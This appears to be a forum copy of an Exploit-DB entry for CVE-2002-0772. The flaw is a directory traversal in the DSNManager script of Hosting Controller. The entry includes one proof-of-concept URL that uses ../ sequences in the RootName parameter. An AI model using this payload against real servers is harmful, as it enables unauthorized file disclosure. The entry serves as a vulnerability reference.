- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 21455
- Проверка EDB
-
- Пройдено
- Автор
- HDLKHA
- Тип уязвимости
- WEBAPPS
- Платформа
- ASP
- CVE
- cve-2002-0772
- Дата публикации
- 2002-05-17
Код:
source: https://www.securityfocus.com/bid/4759/info
Hosting Controller is an application which consolidates all hosting tasks into one interface. Hosting Controller runs on Microsoft Windows operating systems.
The DSNManager script does not sufficiently filter dot-dot-slash (../) sequences from URL parameters, making it prone to directory traversal attacks. An attacker can exploit this condition to disclose the contents of arbitrary web-readable files or potentially add a DSN (Data Source Number) to an arbitrary directory.
http://target/admin/dsn/dsnmanager.asp?DSNAction=ChangeRoot&RootName=D:\webspace\opendnsserver\targ
et\target.com\db\..\..\..\..\- Источник
- www.exploit-db.com
